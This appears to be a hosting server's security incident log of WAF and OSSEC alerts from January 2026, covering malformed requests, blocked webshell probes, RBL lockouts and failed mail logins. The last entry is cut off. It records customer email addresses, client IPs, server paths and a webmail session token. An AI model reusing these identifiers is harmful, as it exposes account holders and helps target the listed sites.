# incident

plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.19.28
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.77.69.212
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=934108 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.221.147
country_id: 294640
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=705554 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-13 08:35:37 +0800] info [webmaild] 219.95.228.51 - support@u-net.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.145.218.163
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=936837 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.53.110.66
country_id: 1733045
description:
[2026-01-13 08:38:00 +0800] info [webmaild] 60.53.110.66 - info@sutsb.com.my "GET /cpsess7988926389/3rdparty/roundcube/?_task=logout&_token=dkzr09TQxF8Sbgk70NEuFCoVO50fjOlx HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.4.249.3
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=19 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.236.45.110
country_id: 3932488
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603677 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 08:41:51 H=([45.144.212.242]) [45.144.212.242]:65408 F=<no_reply@admin.com> rejected RCPT <julie@nobledec.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.229.61.251
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=942713 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.135.60.12
country_id: 2017370
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/comparator/src/SplObjectStorageComparator.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.164.41.7
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=167149 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 08:44:08 H=([45.144.212.242]) [45.144.212.242]:50960 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.217
country_id: 3865483
description:
Jan 13 08:45:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.40
country_id: 3469034
description:
Jan 13 08:45:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.40
country_id: 3469034
description:
Jan 13 08:45:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.217
country_id: 3865483
description:
Jan 13 08:45:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.203
country_id: 3469034
description:
Jan 13 08:45:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.199.41
country_id: 3469034
description:
Jan 13 08:45:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.199.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 46.62.147.30
country_id: 660013
domain: krisfood.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.60.113
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-layout-grid.min.css?ver=4.12.0 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.76.136.146
country_id: 2510769
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-content/plugins/woocommerce-menu-bar-cart/assets/css/wpmenucart-main.min.css?ver=2.14.12 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.18.102
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-content/themes/astra/assets/css/minified/compatibility/contact-form-7-main.min.css?ver=4.12.0 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.94.121.124
country_id: 3608932
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-includes/css/dist/block-library/style.min.css?ver=6.9 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.124.74
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.12.0 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 08:50:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.79.91.60
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=755322 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.117.10
country_id: 226074
description:
Jan 13 08:52:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.117.10 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.158.225
country_id: 1733045
description:
[2026-01-13 08:53:06 +0800] info [webmaild] 115.133.158.225 - cle@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.251.180.84
country_id: 3469034
description:
Jan 13 08:53:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.251.180.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.192.179.175
country_id: 798544
description:
Jan 13 08:53:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.192.179.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.164.40
country_id: 3895114
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&sub=2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.64.30.151
country_id: 1643084
description:
Jan 13 08:54:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.64.30.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 08:54:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:54:50 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61853: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 08:55:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58992: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.64.30.151
country_id: 1643084
description:
Jan 13 08:54:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.64.30.151 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 08:55:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58993: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:56:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61865: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.25.194.30
country_id: 3439705
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=414001 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:56:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61866: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.139.4
country_id: 294640
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=518721 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:58:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61888: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/about.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 08:58:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:58:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61888: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.121.77.66
country_id: 732800
description:
Jan 13 08:59:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.121.77.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.30
country_id: 732800
description:
Jan 13 08:59:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-13 09:00:28 H=(localhost.localdomain) [78.153.140.207]:50726 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.154
country_id: 933860
description:
Jan 13 09:00:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.84
country_id: 953987
description:
Jan 13 09:01:03 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.84
country_id: 953987
description:
Jan 13 09:01:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.109.115
country_id: 798544
description:
Jan 13 09:01:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.109.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:02:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61917: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.90
country_id: 3057568
description:
Jan 13 09:01:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.181
country_id: 798544
description:
Jan 13 09:01:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.231
country_id: 3865483
description:
Jan 13 09:01:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.22
country_id: 3469034
description:
Jan 13 09:01:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.249.214.215
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.82.211.153
country_id: 2245662
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/land/15/129/1563511 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:02:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61917: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.0.148.223
country_id: 1269750
description:
Jan 13 09:05:03 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.0.148.223 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.183.184.99
country_id: 2510769
description:
Jan 13 09:04:24 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.183.184.99 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.205.165
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=644279 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.70.174.26
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=568838 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.0.148.223
country_id: 1269750
description:
Jan 13 09:05:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.0.148.223 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62015: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:10:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62015: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.37.78.55
country_id: 3469034
domain: www.symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.symphony-led.com/products/outdoor-led-screen/outdoor-led-screen-of25-series/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.78
country_id: 953987
description:
Jan 13 09:11:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.233
country_id: 2300660
description:
Jan 13 09:11:23 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.233 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.183.38.225
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=36 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-13 09:11:42 H=([91.92.240.254]) [91.92.240.254]:62575 F=<enquiry@symphony-led.com> rejected RCPT <enquiry@symphony-led.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.76
country_id: 2510769
description:
Jan 13 09:13:48 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.234.161.78
country_id: 3469034
description:
Jan 13 09:16:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.234.161.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.249.73
country_id: 3469034
description:
Jan 13 09:17:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.249.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.56.58.179
country_id: 6252001
description:
Jan 13 09:17:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.56.58.179 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 134.56.58.179
country_id: 6252001
description:
2026-01-13 09:17:53 dovecot_login authenticator failed for H=(134.56.58.179.hwccustomers.com) [134.56.58.179]:47818: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jan 13 09:17:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.58
country_id: 3175395
description:
Jan 13 09:17:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.97.54.154
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=135803 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.221
country_id: 3077311
description:
Jan 13 09:18:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.65.142.69
country_id: 798544
description:
Jan 13 09:19:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.65.142.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.90.132
country_id: 3469034
description:
Jan 13 09:19:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.90.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.199
country_id: 3175395
description:
Jan 13 09:19:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.199 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 42.191.143.110
country_id: 1733045
description:
[2026-01-13 09:19:53 +0800] info [webmaild] 42.191.143.110 - zawir@fkr.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.191.143.110
country_id: 1733045
description:
[2026-01-13 09:20:02 +0800] info [webmaild] 42.191.143.110 - zawir@fkr.com.my "POST /login/ HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.55
country_id: 3469034
description:
Jan 13 09:19:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.201
country_id: 3469034
description:
Jan 13 09:19:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.168.244.20
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=8 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.244.218
country_id: 3865483
description:
Jan 13 09:20:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.244.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.139.92
country_id: 690791
description:
Jan 13 09:20:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.139.92 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.230.136.94
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=515102 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.89.161.17
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=212395 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
